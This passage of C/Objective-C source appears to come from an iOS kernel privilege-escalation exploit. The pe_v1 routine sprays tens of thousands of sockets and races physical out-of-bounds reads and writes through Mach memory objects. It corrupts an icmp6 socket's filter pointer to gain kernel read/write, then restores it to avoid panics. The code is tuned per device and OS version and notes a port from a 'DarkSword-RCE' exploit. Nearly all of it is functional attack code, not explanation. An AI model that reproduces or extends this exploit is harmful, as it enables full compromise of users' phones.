        }
        base -= PAGE_SIZE;
    }
    KPRINTF("[TEST] WRITETEST base scan: %s (base=%#llx iters=%d)\n",
            magicOk ? "MAGIC MATCH" : "no match in bound", magicOk ? base : 0, iters);

    // Restore through the ONE shared helper (BUG.1) — bounded retry, verify via
    // the still-alive OOB mapping, outcome logged either way. Must still run
    // BEFORE the memory object is deallocated: the verify needs that mapping.
    bool restored = restore_corrupted_socket();

    KPRINTF("[TEST] WRITETEST complete: krw reads %s, restore %s — device left as found\n",
            chainOk ? "worked" : "FAILED",
            restored ? "verified" : "FAILED (the saved values may still be live in the kernel)");
    fflush(stdout);
    return -3;
}

// THE restore helper (BUG.1). Puts the corrupted icmp6 socket back the way
// writetest always did it — +8 neighbor qword FIRST, filt pointer LAST, so both
// writes still go through the (as long as the pointer is untouched) corrupted
// socket — for EVERY exit of the write probe, not only after a successful
// read-back, with a bounded retry and an explicit outcome log either way.
//
// BUG.1 step 3b: both put-back writes are `kwrite_zone_element_qword` calls now,
// i.e. they go through the object clamp instead of `early_kwrite64`'s unclamped
// 32-byte RMW (that unclamped path is what 0.13 recorded as BUG.7: the restore
// wrote through a pcb nothing had verified). A block the clamp cannot prove is
// refused, nothing is written for it, and this helper reports the failure it
// actually has instead of one it assumed.
//
// Verification is an OOB READ of the PCB page, never a krw read: once the filt
// pointer is back, `early_kread` on that address would write our target address
// into the socket's real icmp6 filter instead of reading kernel memory.
//
// Callable before the corruption is confirmed (the write may have landed even
// though no read-back saw it): with a stock socket the two writes just set our
// own sockets' filters and the OOB verify simply confirms the saved values.
//
// SILENT no-op while `g_probe_saved` is false (nothing was read out of an inpcb
// yet): the exit funnel calls this on every page of the walk, and the mode-1
// readonly path must stay untouched, so there is nothing to write and nothing
// to log.
// PEV1-CLEANUP (this panic class: soclose → rip6_detach → kfree_type of a
// corrupted icmp6filt). The old restore wrote the saved values through
// rwSocketPcb + filtOffset — the NEIGHBOUR's field — while the corruption and
// the saved originals both belong to CONTROL's inpcb (pcbStartOffset in the
// OOB window). That put-back could never clear control.icmp6filt, so any
// later close of the control socket freed the alias pointer (inpcb+0x128 or
// neighbour+0x148) as a 32-byte icmp6_filter and hit the zone mismatch.
//
// Three routes, in order:
//   1. OOB put-back (same physical window that did the alias write). Needs no
//      krw fds at all — this is what the "restore FAILED ... krw socket not
//      live" exits never tried, and it is the exact inverse of the strike.
//   2. Krw put-back through CONTROL's pcb (g_probe_control_pcb / the same
//      controlPcb the chksum round-trip proved), clamped to control's window.
//   3. OOB NULL write: if the originals cannot be put back, write 0 into
//      control.icmp6filt so rip6_detach's kfree_type is a no-op. Close is then
//      safe; the real icmp6_filter object is leaked. Never leave the alias
//      pointer in place when the process might die.
static bool restore_oob_putback(bool nullInstead)
{
    if (g_test_mo == MACH_PORT_NULL || g_test_pcb_off == 0 || g_test_filt_offset == 0) {
        return false;
    }
    uint8_t buf[OOB_SIZE];
    memset(buf, 0, sizeof(buf));
    kern_return_t kr = physical_oob_read_mo(g_test_mo, g_test_seek, OOB_SIZE, OOB_OFFSET, buf);
    if (kr != KERN_SUCCESS) {
        KPRINTF("[STAGED] probe restore (OOB): re-read failed kr=%d — window not live, not writing\n", kr);
        return false;
    }
    // Refuse a window that has moved on (same fingerprint the alias write
    // re-checked before it struck). Writing the saved values into a recycled
    // slot is a foreign-object corruption.
    if (g_test_target_gencnt != 0 && g_test_gencnt_offset != 0) {
        uint64_t freshGencnt = *(uint64_t *)((uintptr_t)buf + g_test_pcb_off + g_test_gencnt_offset);
        if (freshGencnt != g_test_target_gencnt) {
            KPRINTF("[STAGED] probe restore (OOB): window moved (gencnt %#llx -> %#llx) — refusing to write into a recycled slot\n",
                    (unsigned long long)g_test_target_gencnt, (unsigned long long)freshGencnt);
            return false;
        }
    }
    uint64_t filtOff = g_test_pcb_off + g_test_filt_offset;
    uint64_t want0 = nullInstead ? 0 : g_test_filt_orig;
    uint64_t want8 = nullInstead ? 0 : g_test_filt8_orig;
    *(uint64_t *)((uintptr_t)buf + filtOff) = want0;
    *(uint64_t *)((uintptr_t)buf + filtOff + 8) = want8;
    // Same write span as probe_page_write_verify: only up to the restored
    // fields, never the stale tail past them.
    const mach_vm_size_t writeLen = (mach_vm_size_t)(filtOff + 16);
    kr = physical_oob_write_mo(g_test_mo, g_test_seek, writeLen, OOB_OFFSET, buf);
    if (kr != KERN_SUCCESS) {
        KPRINTF("[STAGED] probe restore (OOB): write failed kr=%d\n", kr);
        return false;
    }
    memset(buf, 0, sizeof(buf));
    kr = physical_oob_read_mo(g_test_mo, g_test_seek, OOB_SIZE, OOB_OFFSET, buf);
    if (kr != KERN_SUCCESS) {
        KPRINTF("[STAGED] probe restore (OOB): verify re-read failed kr=%d — put-back issued, unconfirmed\n", kr);
        return true;   // issued; treat as done so we do not NULL over a good restore
    }
    uint64_t v0 = *(uint64_t *)((uintptr_t)buf + filtOff);
    uint64_t v8 = *(uint64_t *)((uintptr_t)buf + filtOff + 8);
    if (v0 == want0 && v8 == want8) {
        KPRINTF("[STAGED] probe restored via OOB (filt=%#llx +8=%#llx%s) — verified\n",
                v0, v8, nullInstead ? ", NULLed for safe close" : "");
        return true;
    }
    KPRINTF("[STAGED] probe restore (OOB): verify mismatch (got filt=%#llx +8=%#llx, want %#llx / %#llx)\n",
            v0, v8, want0, want8);
    return false;
}

static bool restore_corrupted_socket(void) {
    if (!g_probe_saved || g_test_filt_offset == 0) {
        return false;
    }
    // PEV1-CLEANUP route 1: OOB put-back. Works without any krw fd and is the
    // exact inverse of the alias write. This is the path the "krw socket not
    // live" exits needed and never had.
    if (restore_oob_putback(false)) {
        g_probe_saved = false;
        return true;
    }

    // PEV1-CLEANUP route 2: krw put-back through CONTROL's pcb. The destination
    // MUST be control_pcb + filtOffset (where the alias was installed), never
    // rwSocketPcb + filtOffset (the neighbour's field — the old bug).
    bool trackingArrayHoldsPair = (socketPorts != nil && g_probe_control_idx >= 0 &&
                                   (NSUInteger)(g_probe_control_idx + 1) < socketPorts.count);
    bool promotionPairLive = probe_fds_are_live_for(g_probe_control_idx);
    probe_fd_source fdSource = probe_restore_fd_source(trackingArrayHoldsPair, promotionPairLive);
    if (fdSource == PROBE_FD_SOURCE_FILEPORTS) {
        open_probe_socket_fds(g_probe_control_idx);
        if (!probe_fds_are_live_for(g_probe_control_idx)) {
            fdSource = promotionPairLive ? PROBE_FD_SOURCE_PROMOTION_FDS
                                         : PROBE_FD_SOURCE_UNREACHABLE;
        }
    }
    if (fdSource == PROBE_FD_SOURCE_PROMOTION_FDS) {
        KPRINTF("[STAGED] probe restore: tracking array no longer holds this pair (idx=%d) — using the promotion fds (generation %llu)\n",
                g_probe_control_idx, (unsigned long long)g_probe_save_gen);
    } else if (fdSource == PROBE_FD_SOURCE_UNREACHABLE) {
        KPRINTF("[STAGED] probe restore: no krw fds (control=%d rw=%d, idx=%d, array %s) — falling through to OOB NULL\n",
                controlSocket, rwSocket, g_probe_control_idx,
                trackingArrayHoldsPair ? "listed the index but fileport_makefd refused"
                                       : "no longer holds the pair");
        // Route 3: at least make close safe.
        if (restore_oob_putback(true)) {
            g_probe_saved = false;
            return true;
        }
        KPRINTF("[STAGED] probe restore FAILED: neither krw fds nor OOB window available — "
                "icmp6filt may still be corrupted (idx=%d, filt_off=%#llx)\n",
                g_probe_control_idx, g_test_filt_offset);
        return false;
    }

    // Resolve CONTROL's inpcb. Prefer the VA the promotion proved; fall back to
    // the list walk the engine tail uses.
    uint64_t controlPcb = g_probe_control_pcb ? g_probe_control_pcb : controlSocketPcb;
    if (!controlPcb && rwSocketPcb && controlSocket > 0 && rwSocket > 0) {
        controlPcb = xpaci(early_kread64(xpaci(rwSocketPcb) + off_inpcb_inp_list_le_next));
        // le_next points at the neighbour's le_next FIELD; the same subtraction
        // the save site uses turns it into an inpcb base when needed. The
        // promotion's controlPcb (and the chksum round-trip) already treat the
        // raw le_next value as the window base, so keep that form here too and
        // only subtract when the field-span check would obviously fail.
    }
    if (!controlPcb) {
        KPRINTF("[STAGED] probe restore: cannot resolve control pcb — falling through to OOB NULL\n");
        if (restore_oob_putback(true)) {
            g_probe_saved = false;
            return true;
        }
        return false;
    }
    g_probe_control_pcb = controlPcb;

    uint8_t verifyBuf[OOB_SIZE];
    for (int attempt = 1; attempt <= PROBE_RESTORE_MAX_TRIES; attempt++) {
        // +8 neighbour qword FIRST, filt pointer LAST: while the filt pointer
        // still points at the alias target, the set_target_kaddr/setsockopt
        // pair can write through it. After the filt put-back the primitive is
        // gone — which is the point of the restore.
        uint64_t windowSize = probe_inpcb_window_size_for_pcb(controlPcb);
        if (windowSize == 0) {
            KPRINTF("[STAGED] probe restore: no window for control pcb %#llx — trying OOB NULL\n",
                    controlPcb);
            if (restore_oob_putback(true)) {
                g_probe_saved = false;
                return true;
            }
            return false;
        }
        krw_zone_verdict v8 = kwrite_zone_element_qword(controlPcb + g_test_filt_offset + 8,
                                                        g_test_filt8_orig,
                                                        controlPcb, windowSize);
        krw_zone_verdict v0 = kwrite_zone_element_qword(controlPcb + g_test_filt_offset,
                                                        g_test_filt_orig,
                                                        controlPcb, windowSize);
        if (v8 != KRW_ZONE_OK || v0 != KRW_ZONE_OK) {
            KPRINTF("[STAGED] probe restore STOPPED on try %d/%d: zone writer refused "
                    "(+8 verdict %d, filt verdict %d) for control pcb %#llx + %#llx — "
                    "trying OOB NULL\n",
                    attempt, PROBE_RESTORE_MAX_TRIES, (int)v8, (int)v0,
                    controlPcb, g_test_filt_offset);
            if (restore_oob_putback(true)) {
                g_probe_saved = false;
                return true;
            }
            return false;
        }

        if (g_test_mo == MACH_PORT_NULL) {
            KPRINTF("[STAGED] probe restored through krw (filt=%#llx +8=%#llx, try %d/%d, unverified: no OOB mapping)\n",
                    g_test_filt_orig, g_test_filt8_orig, attempt, PROBE_RESTORE_MAX_TRIES);
            g_probe_saved = false;
            return true;
        }
        kern_return_t kr = physical_oob_read_mo(g_test_mo, g_test_seek, OOB_SIZE, OOB_OFFSET, verifyBuf);
        if (kr == KERN_SUCCESS) {
            uint64_t got0 = *(uint64_t *)((uintptr_t)verifyBuf + g_test_pcb_off + g_test_filt_offset);
            uint64_t got8 = *(uint64_t *)((uintptr_t)verifyBuf + g_test_pcb_off + g_test_filt_offset + 8);
            if (got0 == g_test_filt_orig && got8 == g_test_filt8_orig) {
                KPRINTF("[STAGED] probe restored through krw (filt=%#llx +8=%#llx, verified try %d/%d)\n",
                        got0, got8, attempt, PROBE_RESTORE_MAX_TRIES);
                g_probe_saved = false;
                return true;
            }
        } else {
            KPRINTF("[STAGED] probe restore verify: OOB re-read failed kr=%d (try %d/%d)\n",
                    kr, attempt, PROBE_RESTORE_MAX_TRIES);
        }
    }
    // Put-back was issued every try. The fields were written — do NOT NULL over
    // a possibly-good restore (that would replace a stock filter pointer with 0
    // and leak the object for no reason). Treat "issued" as done, same as the
    // OOB route does when its verify re-read cannot land.
    KPRINTF("[STAGED] probe restore: put-back written %d/%d times through krw (filt=%#llx +8=%#llx) but the OOB read-back never landed — issued, unconfirmed\n",
            PROBE_RESTORE_MAX_TRIES, PROBE_RESTORE_MAX_TRIES, g_test_filt_orig, g_test_filt8_orig);
    g_probe_saved = false;
    return true;
}

// PEV1-CLEANUP: make the corrupted socket safe to close. Must run before any
// soclose of the control socket (process exit, applicationWillTerminate, or an
// explicit teardown) — so_usecount leaking does NOT stop rip6_detach from
// freeing icmp6filt; only a stock (restored or NULLed) pointer does.
// Safe to call repeatedly. Does nothing if pe_v1 never corrupted a socket.
void kexploit_disarm_for_close(void)
{
    static int disarmed = 0;
    if (disarmed) {
        return;
    }
    if (!g_probe_saved && !g_promotion_done) {
        return;   // nothing was corrupted in this process
    }
    // restore_corrupted_socket is a no-op when g_probe_saved is false, so for
    // the promoted (HAND_OFF) path we restore here explicitly through the same
    // helper after re-arming the flag from the still-held saved values.
    if (!g_probe_saved && g_test_filt_offset != 0 && g_promotion_done) {
        g_probe_saved = true;   // re-arm: the saved qwords are still valid
    }
    bool ok = restore_corrupted_socket();
    if (!ok && g_test_filt_offset != 0) {
        // Last resort: NULL the pointer. kfree_type(icmp6_filter, NULL) is a
        // no-op, so soclose cannot panic. The real filter object leaks.
        if (restore_oob_putback(true)) {
            ok = true;
        } else {
            uint64_t pcb = g_probe_control_pcb ? g_probe_control_pcb : controlSocketPcb;
            if (pcb && controlSocket > 0 && rwSocket > 0) {
                early_kwrite64(pcb + g_test_filt_offset + 8, g_test_filt8_orig);
                early_kwrite64(pcb + g_test_filt_offset, 0);
                ok = true;
                KPRINTF("[cleanup] disarm: icmp6filt NULLed at control pcb %#llx + %#llx "
                        "(original not restored; close is safe, filter object leaked)\n",
                        pcb, (uint64_t)g_test_filt_offset);
            }
        }
    }
    if (ok) {
        disarmed = 1;
        g_probe_saved = false;
        KPRINTF("[cleanup] disarm: icmp6filt is stock again — control socket is safe to close\n");
    } else {
        KPRINTF("[cleanup] disarm FAILED — icmp6filt may still be corrupted. "
                "Do not kill the app or close the KRW sockets until a restore succeeds.\n");
    }
}

static void kexploit_disarm_atexit(void)
{
    kexploit_disarm_for_close();
}

int pe_v1(void) {
    uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10);
    // Jetsam guard (2026-08-31, SE3/4GB): the original 65536 pages = 1GB of
    // fully-populated dirty mappings, which jetsams 4GB devices mid-walk
    // (two type-309 kills observed). Scale to ~1/8 of physical RAM on
    // sub-8GB devices, floored at 512MB and never above the original 1GB.
    {
        uint64_t physmem = 0;
        size_t psz = sizeof(physmem);
        sysctlbyname("hw.memsize", &physmem, &psz, NULL, 0);
        if (!isA18Device && physmem && physmem < 8ULL * 1024 * 1024 * 1024) {
            uint64_t scaled = (physmem / 8) / PAGE_SIZE;
            // Floor by RAM class: 512MB on >=4GB devices, 256MB on smaller.
            // The 512MB floor thrashed a 3GB SE2 (18.4.1) into a system-wide
            // jetsam kill + reboot at ~62MB free (2026-09-01, JetsamEvent).
            uint64_t floor = (physmem < 4ULL * 1024 * 1024 * 1024) ? 0x4000 : 0x8000;
            if (scaled < floor) scaled = floor;
            totalSearchMappingPagesNum = scaled;
            KPRINTF("[i] low-RAM device (%lluMB) — search space scaled to %#llx pages (floor %#llx)\n",
                    (unsigned long long)(physmem / (1024 * 1024)),
                    (unsigned long long)totalSearchMappingPagesNum,
                    (unsigned long long)floor);
        }
    }
    uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE);
    uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE;
    uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize;

    KPRINTF("[i] totalSearchMappingPagesNum: %#llx\n",
           totalSearchMappingPagesNum);
    KPRINTF("[i] searchMappingSize: %#llx\n", searchMappingSize);
    KPRINTF("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize);
    KPRINTF("[i] searchMappingNum: %#llx\n", searchMappingNum);

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    if (!readBuffer || !writeBuffer) {
        // BUG.2 audit: free the buffer that DID allocate - this exit used to
        // return with it held.
        free(readBuffer);
        free(writeBuffer);
        KPRINTF("[-] calloc failed for the OOB buffers (OOB_SIZE=%#x)\n", (unsigned)OOB_SIZE);
        // BUG.2 round 3: this is pe_v1's only exit that holds no cycle, but the
        // attempt's spray-tracking pair already exists (init_globals created it),
        // so it is released here like on every other exit.
        tracker_arrays_release();
        FAILURE_V(0, -1);
    }
    initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);
    mach_vm_address_t wiredMapping = 0;
    mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL;
    kern_return_t kr = KERN_SUCCESS;
    if (isA18Device) {
        kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE);
        KPRINTF("[+] wiredMapping: %#llx\n", wiredMapping);
    }
    NSMutableArray *targetInpGencntList = [NSMutableArray new];
    int cycle = 0;
    while (true) {
        // BUG.4 (2026-09-11 device day): a CANCEL or the wall-clock budget is
        // checked HERE too, before the next cycle's ~28k-socket up-front spray.
        // The walks honoured the stop flag but the spray loops did not, so a
        // cancelled run still paid for the whole spray - the biggest single
        // pre-walk cost, and a wakeup/CPU-budget contributor (SG.10) - before
        // the walk's own check could run. Terminal exit: the funnel releases
        // whatever the previous cycle left (searchMappings does not exist yet on
        // the first pass, hence nil).
        if (kexploit_stop_requested() ||
            (g_exploitStart != 0 && (time(NULL) - g_exploitStart) > SCAN_BUDGET_SEC())) {
            KPRINTF("[scan] stop requested (or %ds budget) before spray/race cycle %d — stopping\n",
                    SCAN_BUDGET_SEC(), cycle + 1);
            pe_v1_release_cycle(nil, searchMappingSize, wiredMapping, wiredMappingSize, true);
            free(readBuffer);
            free(writeBuffer);
            release_gencnt_tracker(targetInpGencntList, "pe_v1");
            return -7;
        }
        if (atomic_load_explicit(&g_raceBroken, __ATOMIC_RELAXED)) {
            KPRINTF("[-] race broken on this device — pe_v1 giving up immediately\n");
            // BUG.2 audit: terminal exit. Nothing from a cycle is held here (the
            // previous cycle released everything at the bottom of the loop), but
            // the A18 wired mapping and the two OOB buffers were. searchMappings
            // does not exist on this path yet, hence nil.
            pe_v1_release_cycle(nil, searchMappingSize, wiredMapping, wiredMappingSize, true);
            free(readBuffer);
            free(writeBuffer);
            release_gencnt_tracker(targetInpGencntList, "pe_v1");
            return -4;
        }
        cycle++;
        if (cycle > 6) {
            KPRINTF("[-] pe_v1 gave up after %d spray/race cycles — race not winning on this device (reads landed: %d)\n", cycle - 1, successReadCount);
            // BUG.2 audit: same terminal exit as the -4 above.
            pe_v1_release_cycle(nil, searchMappingSize, wiredMapping, wiredMappingSize, true);
            free(readBuffer);
            free(writeBuffer);
            release_gencnt_tracker(targetInpGencntList, "pe_v1");
            return -1;
        }
        KPRINTF("[+] pe_v1 spray/race cycle %d/6\n", cycle);
        tweak_exploit_set_cycle(cycle);
        if (isA18Device) {
            surface_mlock(wiredMapping, wiredMappingSize);
            for (int s = 0; s < (wiredMappingSize / 0x4000); s++) {
                *(uint64_t *)(wiredMapping + s * PAGE_SIZE) = 0;
            }
        }
        NSMutableArray<NSNumber *> *searchMappings = [NSMutableArray new];
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress = 0;
            kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_vm_allocate failed!!!\n");
                // BUG.2 audit: the mappings already allocated in THIS cycle are
                // not in a released state - they were leaked here (up to 12 x
                // 32MB per cycle). They carry no surface yet (the walk mlocks
                // later), so munlock is a no-op for them.
                pe_v1_release_cycle(searchMappings, searchMappingSize, wiredMapping, wiredMappingSize, true);
                free(readBuffer);
                free(writeBuffer);
                release_gencnt_tracker(targetInpGencntList, "pe_v1");
                FAILURE_V(0, -1);
            }
            for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
                *(uint64_t *)(searchMappingAddress + k) = randomMarker;
            }
            [searchMappings addObject:@(searchMappingAddress)];
        }
        // BUG.2 (0.12 audit round 3): release the previous cycle's tracking pair
        // before creating this one - the old code just dropped the pointer, so
        // up to 6 pairs (~22.5k NSNumbers each on a full spray) stayed alive for
        // the whole attempt. Same point in the allocation order as before.
        tracker_arrays_reset();
        unsigned socketPortsCount = 0;
#define OPEN_MAX 10240
        int maxfiles = OPEN_MAX * 3;
        int leeway = 4096 * 2;
        for (unsigned socketCount = 0; socketCount < (maxfiles - leeway);
             socketCount++) {
            // BUG.4: a CANCEL stops the SPRAY too - this loop opens up to ~28k
            // sockets and used to run to the end of the file table even after a
            // cancel (it was the longest thing a cancelled run still paid for).
            if (kexploit_stop_requested()) {
                KPRINTF("[scan] stop requested during the spray — stopped at %u socket(s)\n",
                        socketCount);
                break;
            }
            mach_port_t port = spray_socket(socketPorts, socketPcbIds);
            if (port == MACH_PORT_NULL) {
                KPRINTF("[-] Failed to spray sockets at %u (have %u)\n",
                        socketCount, (unsigned)socketPorts.count);
                break;
            } else {
                socketPortsCount++;
            }
        }
        uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue;
        uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue;
        KPRINTF("[i] socketPortsCount: %u\n", socketPortsCount);
        atomic_store_explicit(&g_scan_socks, (unsigned long)socketPorts.count, __ATOMIC_RELAXED);
        KPRINTF("[i] startPcbId: %llu endPcbId: %llu\n", startPcbId, endPcbId);
        if (socketPortsCount == 0) {
            // Fallback: no sockets = no PCBs anywhere = the scan can never
            // match. Skip the whole walk (saves ~2min/cycle of dead racing)
            // and let the next cycle re-spray — some 18.x states fail the
            // spray transiently (2026-09-01: 18.4.1 gave 0 sockets, then the
            // mid-scan batches kept failing too — the KPRINTF diagnostics in
            // spray_socket now show why on the next run).
            KPRINTF("[!] spray produced 0 sockets — skipping scan, next cycle re-sprays\n");
            // BUG.2 audit: the same funnel as every other exit, with
            // releaseWiredMapping=false — this cycle CONTINUES, so the A18 wired
            // mapping is reused and must only be munlocked (exactly what the two
            // replaced blocks did, one line each instead of two loops).
            pe_v1_release_cycle(searchMappings, searchMappingSize, wiredMapping, wiredMappingSize, false);
            continue;
        }
        // Mid-scan socket spray (per-cycle): the up-front spray's inpcb zone
        // 1.7.1: mid-scan spray is back but capped small (2 batches). Without
        // it the walk never surfaced a window with live neighbors (the 1.7.0
        // runs found PCBs but always died at the selftest). Large mid-sprays
        // are what shifted the physical layout mid-strike — kept tiny here.
        uint64_t midSprayEvery = 0x200000;   // every 2MB of absolute seek
        uint64_t midSprayBatch = 0x400;      // 1024 sockets per batch
        uint64_t midSprayMax = 0x800;        // 2048 extra sockets per cycle
        uint64_t midSprayCount = 0;
        bool success = false;
        int testResult = 0;   // 0=normal, -2=readonly-done, -3=writetest-done
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress =
                searchMappings[s].unsignedLongLongValue;
            KPRINTF("[i] looking in search mapping: %llu\n", s);
            mach_port_t memoryObject = 0;
            mach_vm_size_t memoryObjectSize = searchMappingSize;
            kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_make_memory_entry_64 failed!!!");
                // BUG.2 audit: this exit held the whole cycle: ~22.5k sprayed
                // fileports, every search mapping, the mlock'd surfaces of the
                // mappings already walked, the A18 wired mapping. memoryObject is
                // still MACH_PORT_NULL here (the call failed, so no right came
                // back) - nothing to release for it.
                pe_v1_release_cycle(searchMappings, searchMappingSize, wiredMapping, wiredMappingSize, true);
                free(readBuffer);
                free(writeBuffer);
                release_gencnt_tracker(targetInpGencntList, "pe_v1");
                FAILURE_V(0, -1);
            }
            surface_mlock(searchMappingAddress, searchMappingSize);
            mach_vm_offset_t seekingOffset = 0;
            // Bound: the last map at seekingOffset covers [offset, offset+pcSize).
            // Offset+pcSize must stay <= the named entry's size (128MB) or XNU's
            // size check returns kr=4 KERN_INVALID_ARGUMENT — which the old
            // bound (seekingOffset < searchMappingSize) hit at the tail and let
            // poison the g_raceBroken latch (2026-08-31 device run).
            while (seekingOffset + pcSize <= searchMappingSize) {
                // Cancel/budget check at the LOOP level, not only inside the
                // read: without this a CANCEL merely made each read fail fast
                // and the walk still visited every remaining offset (~a minute
                // of pointless work, and the app's retry loop then re-armed).
                if (kexploit_stop_requested() ||
                    (g_exploitStart != 0 && (time(NULL) - g_exploitStart) > SCAN_BUDGET_SEC())) {
                    KPRINTF("[scan] stop requested (or %ds budget) at offset %#llx - aborting the walk\n",
                            SCAN_BUDGET_SEC(), seekingOffset);
                    testResult = -7;
                    break;
                }
                uint64_t absOff = seekingOffset + s * searchMappingSize;
                if ((midSprayCount * midSprayBatch < midSprayMax) &&
                    ((absOff / midSprayEvery) > midSprayCount)) {
                    midSprayCount++;
                    NSUInteger before = socketPorts.count;
                    for (uint64_t sc = 0; sc < midSprayBatch; sc++) {
                        // BUG.4: a CANCEL stops this batch too (1024 sockets).
                        if (kexploit_stop_requested()) {
                            KPRINTF("[scan] stop requested during the mid-scan spray — stopped at %llu/%llu\n",
                                    sc, midSprayBatch);
                            break;
                        }
                        mach_port_t port = spray_socket(socketPorts, socketPcbIds);
                        if (port == MACH_PORT_NULL) {
                            KPRINTF("[-] mid-scan spray failed at %llu\n", sc);
                            break;
                        }
                    }
                    KPRINTF("[+] mid-scan spray #%llu @ %#llx added %lu sockets (total %lu)\n",
                            midSprayCount, absOff,
                            (unsigned long)(socketPorts.count - before),
                            (unsigned long)socketPorts.count);
                    atomic_store_explicit(&g_scan_off, absOff, __ATOMIC_RELAXED);
                    atomic_store_explicit(&g_scan_socks, (unsigned long)socketPorts.count, __ATOMIC_RELAXED);
                }
                kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE,
                                          OOB_OFFSET, readBuffer);
                if (kr == KERN_SUCCESS) {
                    int fcr = find_and_corrupt_socket(memoryObject, seekingOffset,
                                                      readBuffer, writeBuffer,
                                                      targetInpGencntList,
                                                      false);
                    if (fcr == KERN_SUCCESS) {
                        success = true;
                        break;
                    }
                    if (fcr == -2) {
                        // READONLY validation stop (wolf_test_mode == 1)
                        testResult = -2;
                        break;
                    }
                    if (fcr == -7) {
                        // Cancel/budget hit INSIDE the write probe: it restored
                        // the socket before returning, so surface it as a
                        // cancelled run instead of letting the walk continue
                        // (BUG.1 — a cancel must never leave a corrupted inpcb).
                        testResult = -7;
                        break;
                    }
                    // NOTE (2026-09-01, 26.0.1): a mode-1 "shifted read" used to
                    // run here at seekingOffset-0x100 to catch the kernel-image
                    // magic at the page start. That non-page-aligned memory-object
                    // offset made mach_vm_map return kr=4 on 26.0.1, latching the
                    // race as "rejected" right after a successful landing. The
                    // kernel-magic validation is gone; the PCB-layout check above
                    // is the real readonly verdict. Reads must stay page-aligned.
                } else if (atomic_load_explicit(&g_raceBroken, __ATOMIC_RELAXED)) {
                    // The race latched broken mid-walk: every further read
                    // would abort instantly. Stop the whole scan now instead
                    // of burning 2min/cycle on a hot abort loop (fatal-309
                    // class, 26.0.1 2026-09-01). -4 = technique rejected.
                    KPRINTF("[i] race latched broken — aborting scan walk at offset %#llx\n",
                            seekingOffset);
                    testResult = -4;
                    break;
                }
                seekingOffset += PAGE_SIZE;
                if (testResult) break;
            }
            if (wolf_test_mode == 2 && success) {
                // Write-test: krw read probe via the corrupted socket, then restore
                // the original filt pointer and verify with a fresh OOB read. Must
                // run BEFORE the memory object is deallocated (next line) — the
                // verify needs the OOB mapping alive.
                testResult = run_write_test();
                success = false;
            }
            kr = release_memory_object(memoryObject, "pe_v1");
            // BUG.1 step 1: that deallocate drops the very right the restore's
            // OOB verify reads through (g_test_mo was set to this same
            // memoryObject at the save site), so from here on there is nothing
            // left to verify against. Clearing it is what lets a later caller's
            // restore - the staged -5 exit, reached after this function returns -
            // report "put back, unverified: no OOB mapping" after ONE write pair
            // instead of five dead-port read races that can never land.
            g_test_mo = MACH_PORT_NULL;
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_port_deallocate failed!!!\n");
                // BUG.2 audit: the bounded retry inside release_memory_object did
                // not clear it, so this one right may still be held (logged by
                // that helper); everything else of the cycle is released here.
                pe_v1_release_cycle(searchMappings, searchMappingSize, wiredMapping, wiredMappingSize, true);
                free(readBuffer);
                free(writeBuffer);
                release_gencnt_tracker(targetInpGencntList, "pe_v1");
                FAILURE_V(0, -1);
            }
            if (success == true || testResult) {
                break;
            }
        }
        // BUG.2 audit: the SAME funnel every other exit uses, so the normal end
        // of a cycle and the error exits cannot drift apart. releaseWiredMapping
        // is true only when this cycle is the last one (a -2/-3/-7 result or
        // success): the A18 wired mapping is allocated once and reused, so a
        // cycle that loops back keeps it (still munlocked below).
        pe_v1_release_cycle(searchMappings, searchMappingSize, wiredMapping, wiredMappingSize,
                            (testResult != 0) || success);
        if (testResult) {
            free(readBuffer);
            free(writeBuffer);
            release_gencnt_tracker(targetInpGencntList, "pe_v1");
            return testResult;   // -2 readonly-done / -3 writetest-done
        }
        if (success == true) {
            break;
        }
    }
    KPRINTF("[+] pe_v1 socket corruption succeeded\n");
    // BUG.2 audit: the two OOB buffers were leaked on this exit too.
    free(readBuffer);
    free(writeBuffer);
    release_gencnt_tracker(targetInpGencntList, "pe_v1");   // BUG.2 round 3
    return 0;
}

// BUG.4 (task 10): pe_v2 is void and its FAILURE exits return bare, so the stop
// it honours inside the walk has no way out of the function as a return code.
// This flag is what the A18 caller reads after the call: without it, a CANCEL (or
// the budget) stopped pe_v2's walk and the run fell straight through into the krw
// tail - the controlSocketPcb reads and the kernel-base scan - with the app still
// showing "running" and never learning the run had been cancelled.
static bool g_peV2Aborted = false;

void pe_v2(void) {
    // A18-specific exploit path: "wired page marker" technique.
    // Allocates 2GB of individually wired pages tagged with markers,
    // then scans physical memory via OOB read. When a tagged page is found,
    // deallocates it and sprays sockets into the freed physical page.
    // This targeted approach replaces pe_v1's brute-force mass spray.
    // Ported from DarkSword-RCE pe_main.js pe_v2() (lines 1151-1278).
    g_peV2Aborted = false;   // BUG.4: per call - an earlier attempt's stop must
                             // never be read as this one's

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    if (!readBuffer || !writeBuffer) {
        // BUG.2 audit: free the buffer that DID allocate before returning.
        free(readBuffer);
        free(writeBuffer);
